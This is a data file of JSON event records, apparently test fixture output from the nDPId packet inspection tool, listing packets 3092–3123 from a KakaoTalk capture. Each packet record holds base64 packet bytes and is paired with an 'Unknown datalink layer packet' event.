+00518{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3092,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":863043,"pkt_caplen":159,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":159,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAI8AAEAAHBH96wHJAa4KGFK8WgYoHAB7+eyAbFGDi0QsmguGVRn6blRgIYPe4aItNtxGM8IV2QbeG6+X9YMx2Wf0fI\/w07KkBVGRSmRgmsHOJm0NMsxHnz10J8L\/AiXdIxe3XXmfhphqH026rAGUvVgcNybpWJIqsVx0J7Hi7UkHVTP9YDB+cvaqMcQ3"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3092,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3093,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":863105,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGMAAEAAHRH9FwHJAa4KGFK8WgQsOABPuN6AbDQNfrOdQ1SapdrQvBuSCjpP23nYJzBdHTxWMsPurEqN74dfzfgOt6jeCgmIFjjDoNDxr6LulYaprIZGy7e34kg9cSwV+w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3093,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00575{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3094,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":863318,"pkt_caplen":199,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":199,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALcAAEAAHBH9wwHJAa4KGFK8WgYoHACjhteAbFGGi0Q32guGVRlQDGTFzas8seh28zV8C+niXDz9TvwXISjZUs4jj+g1QFYW1UDTB35IolT\/YyCYno6JfEfJYCWDXT+Uhys2XpRx8LnfRwSnV1MMJmZvS5AhtAjx4I0CHu1\/rKGjjVKI4Wz934UipVaMg3rFuWzv1\/EbGKk4+VUl9KAh8s83YriMzc5j1xQd4zEXnJ4yVhMEEg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3094,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00535{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3095,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":863349,"pkt_caplen":170,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJoAAEAAHBH94AHJAa4KGFK8WgYoHACGlECAbFGIi0Q\/WguGVRmJ0HUcez22MFT5FlCjTC7mpu2bK1LTFDGQVqV3RWNOUYjEJ4DTJxMWfpHczR49sTRicIA48UThD\/syq1EjFScidB+uDxD7p4hUrEPiEVkjIm44RXuUC\/TkNr3LmEXYbM0mAhBv+rRpT9lHDbJY1T1+klw="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3095,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00520{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3096,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":863379,"pkt_caplen":157,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":157,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAI0AAEAAHBH97QHJAa4KGFK8WgYoHAB5NQeAbFGHi0Q7mguGVRklnpQ\/u2Nj6GuIbkw\/r6\/s8NPf4pDzgKr5qDyiD9oKXC8gYK0FVrz8I0\/Gmc+DspcHSAYwoS8yekOGS25f2132hprtlIXwc2PozpCri8O6tWsmCGEOrRKwwtE+baRuXSK6dGn3Qw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3096,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00457{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3097,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":899543,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGAAAEAAQBHaQgoYUrwByQGuKBxaBgBMxweAbDQUfrO3g1Sapdp3LKaHNcm191OPNWcTWtfkeODxCL3tPl6mzmmcwtSLoLe\/BdUDWIYm2r2vhZDjFVbzRovAziZpNQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3097,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00597{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3098,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":937659,"pkt_caplen":217,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":217,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMkAAEAAPxHa2QoYUrwByQGuLDhaBAC1FbCAbFGOi0RV2guGVRnvPYu2S3moDerqTSgjkdJuAiWuVojwqg5IzcU2S410nARa7polGw1ltnDhts+228dL45BI3g3zTJZW70zhTUB5ihATRhBwz+7dCuXQ1w3YLKeCt9FBGird5135lj5sp3kucMv6i+JEkwy1rayMSvhmTdZSAhuS6BJosJgLxtsVQ\/8Zf+xsQJdO4kY64WmrpAImlwXZhxvupKnHDOKc0yX3DQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3098,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00574{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3099,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":939948,"pkt_caplen":197,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":197,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALUAAEAAPxHa7QoYUrwByQGuLDhaBACh4kiAbFGPi0RZmguGVRn27olNP6bfenUBU+0WvO5qM5LTUwlwxen4xyC\/ku\/mhHAcIvF2S31S2qK3p3cNIhC9sNUfwpilxnf\/pgGADF4TMjHZzWygJahoXqczAEIHYqtcveLoqOulUqNr0M34KQFsZygIgQrakY\/yYqSWPFdyTzOTV01PO0YI9ddIQhNH\/\/plTa2BgR9DtIw5rXk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3099,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3100,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069214,"pkt_ts_usec":985511,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAQBHaRwoYUrwByQGuKBxaBgBHYbGAbDQVfrO7Q1SapdpLxPItycwkbxa0EQUWVL2L5YNVQa4t5Dl8FFfwsTbxMt1bXHBGb7+hSEyJ4BvaCMRHSOk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3100,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00547{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3101,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":40259,"pkt_caplen":179,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKMAAEAAPxHa\/woYUrwByQGuLDhaBACPwwWAbFGQi0RdWguGVRk3Ea1\/lx5p6FxSjeYlUWKyi4dUJudCaU\/JBC8oK\/TURMCi1IcNP39mhkrRwZgNQRLLDVpF1hYX461CTkus0TtOw3ktucoBMzNnmHu8pCXVqpIXibI1JG2ZLIuKJNXVHAWApKIUpnr4trLXuIjkID0aIwkkHR79cuhbZDo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3101,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3102,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":43982,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAQBHaRAoYUrwByQGuKBxaBgBKvJaAbDQWfrO\/A1SapdpmeM+ilwZ5\/zKi3IEnCjxDuEIMj5UzySPymEHL39APAc8gUkNa+y0L4zUj7DtjIjk4v3z4r9Q="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3102,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3103,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":123725,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFgAAEAAQBHaSgoYUrwByQGuKBxaBgBEdjaAbDQXfrPCw1Sapdqyc1LwaNFPYIy\/TKcn\/8TtEOP4XUDmavf\/6kWhoP4KmS0ltCEi9umR0oC8Oo6CgRk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3103,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00576{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3104,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":137519,"pkt_caplen":202,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":202,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALoAAEAAPxHa6AoYUrwByQGuLDhaBACmlWSAbFGRi0RhGguGVRncMtFzzNZGBNk8lOvsmiylHvwBsMIRGuSuPmtvUvSynEbpOx7hRrjMRDJMzb44j+AhTvLd051dDD0JssyVxPbztctdRVuDKVuGlmqJlT9e3LBp2BmQE0F+z+2yozXPCWvzSyJoE96nasdPD1yGcEGyUflvtofQCMHfP43GIPM0+3A2FTX2zoVQMOInxKzlaNS0XA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3104,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00604{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3105,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":139472,"pkt_caplen":222,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":222,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAM4AAEAAPxHa1AoYUrwByQGuLDhaBAC6jzGAbFGSi0Rk2guGVRmitL0NU+mJLtiEpQRZMEcQKWBIki\/GgZsVFBk1ouetNX8bpPxlu3jhQELUXLjgOY0ltW\/X3xvnL1zr4YYmFz+eCvFujSxmJowZA6je7EQZONnK1PLn9pZAmjDX+YYNt1hBtLlruHgJ1Sd\/DJeH3OV7Jraz3bN0328TEle7kTIzazg4Zz+sPicvfG++WWQVW71AAxjX4zpJVEVPyy+\/pt9a2rHTIKOP"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3105,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3106,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":183234,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFgAAEAAQBHaSgoYUrwByQGuKBxaBgBEtTCAbDQYfrPGg1SapdoGTF68AgjqW7pf0vmm\/B3u6gwx8yLk48z9Gfmk+yZA9yxt2r+p8ErOv+wwKmSKKcs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3106,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3107,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":222663,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFgAAEAAQBHaSgoYUrwByQGuKBxaBgBEaweAbDQZfrPKQ1SapdrW8eeieuUTKCD\/yU49LrPaR0r07UOmL9jXIQdynK5sUcWfqXsS4hnqw3NO1jc+FUw="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3107,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00594{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3108,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":240851,"pkt_caplen":215,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":215,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMcAAEAAPxHa2woYUrwByQGuLDhaBACz+5KAbFGTi0RomguGVRlLlEnjC3rrlcpDlf+GpQEkEyfs8BNN6y\/45uODDD0lOgpflTmnnEyq5OfFG60X6aUnfHAzG3tamZNFnNl6rZ9Mi4rP8l61VamViDku97dmjWjilNFu+aSS9XJx6IXVkB5GvyzR8yvG7gO62wfhByPJ8eBHCCdv+iFbREvdsptNmI6UQ0qqVIEK6B3+8Ais6\/YP93RVabYZoXDKlYWpC9o="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3108,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00577{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3109,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":243201,"pkt_caplen":200,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":200,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALgAAEAAPxHa6goYUrwByQGuLDhaBACkk0aAbFGUi0RsWguGVRnA1ZaipNavbc\/\/eam7huI82apsfNTfFY3W5DhPpFXgZ+4Wuwft5MEl2lmf\/JgaoOHlHTrWWzUG7KuA7OXw85wP\/aO0wq8+1i4a1EumKap+y5uj3cCub3YZw3OZ4irtaRqESxC1XrgQ0hTvWYAq\/ZDS65Fc451TQrJW8vbDtImjHLx6MJzAMOZhFnP1lXViaCc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3109,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3110,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":264594,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFcAAEAAQBHaSwoYUrwByQGuKBxaBgBDGX+AbDQafrPOA1Sapdp5tRcToREYX9yHp9wMdRI\/XsbecB3KVMhT88iSni0Y3FRDH3kpG5xTD3xYKCRN0g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3110,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00559{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3111,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":340674,"pkt_caplen":189,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":189,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAK0AAEAAPxHa9QoYUrwByQGuLDhaBACZPu6AbFGVi0RwGguGVRlDpeQ9MMrV9epW4s++67CfvovLqS6G+IdfHldBJzkpJeGdGwsgBH\/g3VtoZ4Z2WlVqcP8CpTDlEcYyFaJ\/k7rvjpwazmKWGVeZH36toORVV7bNgwG+RU\/SIf56L47j2X4bENO15M89qjcyLvhduqPXJ77NDJZretVGqkToU0kIUHVtFUpK"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3111,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3112,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":361029,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/ot6AbDQbfrPRw1SapdoXACpOIHwE2LLCSjxHBd+xeeZ7y9KTy9Irrqen+BJr6slhDO3\/gajH51K\/"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3112,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00457{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3113,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":406439,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGIAAEAAQBHaQAoYUrwByQGuKBxaBgBOHyuAbDQcfrPVg1Sapdon1HgxuTP2gJjxqa3TVSPcMFKmJZqsvc4QKBXC\/KyqkMfn9NMsra3UHAxgwCplyyp0D5VYrXsJh6rZ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3113,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00518{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3114,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":436713,"pkt_caplen":159,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":159,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAI8AAEAAPxHbEwoYUrwByQGuLDhaBAB7Xc2AbFGWi0Rz2guGVRkbgN+gLQbrex4+9SL9Yp6DWV3HeQJgiCc7FXDjyaemuzAQD480GvBcQiReQZHYAAEyXmgPOOTnTt2\/q1h1+hLf4GmyWU\/8BKn2pxVR3lkxrfZ0S1xMyeahepau7s4Zy8gFZsxekIH9"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3114,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00569{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3115,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":438758,"pkt_caplen":198,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":198,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALYAAEAAPxHa7AoYUrwByQGuLDhaBACigv6AbFGXi0R3mguGVRmWGZT0x7CeO3hJqOKr2khlnM9s2kygBvPNvtQP7PXcYQEk1b2wO3xQWFc0jC2Wc9H9tJq8c6ZhD0GyBSlvo1FoEPCmHovxDYze5HbwS\/HR1fGYl9nEbcYN8hbVZa992h0TDfFvQk6n81HfbSkb09IcKdLdgqCs7uBg3xccZwThQjM2Ep6NT2YWBnCqeUPg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3115,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3116,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":445288,"pkt_caplen":122,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGoAAEAAQBHaOAoYUrwByQGuKBxaBgBW+CuAbDQdfrPZQ1SapdoSRSAhq0X8B7ClhrhOw\/OH+nl98xqw710AYABIG1mcBXZCWvEn6IDpbszTabZpHh8kqGn3ZpYeayt7IexkwDAICT4="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3116,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3117,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":479071,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGMAAEAAHRH9FwHJAa4KGFK8WgQsOABPmGCAbDQOfrOhA1SapdrkaC5cymUlHKCNzsGDOVsrQsCVX3FlvSPz0Jrka7KBgdlBjUppAA8590ykJw4oF+O5hoiF1VUZH5Rseg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3117,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3118,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":517127,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAQBHaSQoYUrwByQGuKBxaBgBF2VaAbDQefrPdA1SapdoD748WoMbtNblHw6gl7tSDjf9cl5ZKrKI4b+JDEt4rtYUHVbwbz0vxY9UToegNX7EY"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3118,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00564{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3119,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":536566,"pkt_caplen":194,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":194,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALIAAEAAPxHa8AoYUrwByQGuLDhaBACecDWAbFGYi0R7WguGVRlzCg5AP8xzklGJ4RZdomISuGo2Ye0BybeahdwJZSLTEq6O4QGM+Tb+t5dKpRI0MAhSd02IaF6lflu2IDTgbbDjL9hamXSJ4WRRQee1bcjR+vmH1x3tJb1WkmRdRbD1PLmCd6m+cd0MHcVvGOdB8RQzknPukNQlkgZXDp7o5sDkWB8okih8jwjiMQo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3119,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00514{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3120,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":538794,"pkt_caplen":154,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":154,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIoAAEAAPxHbGAoYUrwByQGuLDhaBAB2v9KAbFGZi0R\/GguGVRn5zw\/KXLDMiSeu9k16sFNYkXhIGnDi47mIoBlHc1thBGnJJ47m3m3BJLPHmXbUEFdEzqwZZgzD4XuoM2ChBiV0Y4uJJyS+7Cjqm1n251C8PTq7xs0TFd5XvSNjMzn9715MJg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3120,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3121,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":543036,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGMAAEAAHRH9FwHJAa4KGFK8WgQsOABPwlOAbDQPfrOkw1SapdrC8a06HFXoMJnknsOkXbuHdiiYplU0ARn\/YQDbCk33u9Mr9tS13yl4cAVZNvi4o87ljm2OcBqXy3pLKw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3121,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3122,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":558783,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAQBHaRAoYUrwByQGuKBxaBgBKd0SAbDQffrPgw1SapdpsS\/IoV748wsk8KpqOiy1HVzLvV6\/tsByeMEckD8IqVfcqpN6j+JftjN\/YQKSEgElFyv3diQo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3122,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00482{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3123,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":559119,"pkt_caplen":132,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":132,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHQAAEAAHBH+BgHJAa4KGFK8WgYoHABgOGeAbFGJi0RDGguGVRmySsinDsBDUrBNgF2SRKDdzFDmwjZeUYqJXA+K6x789En0PfzyJZI1OYNHZ\/3YiB85imLUQm4U3WouiTGqXCqYEMx0WkiqjKfN0\/8i"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3123,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 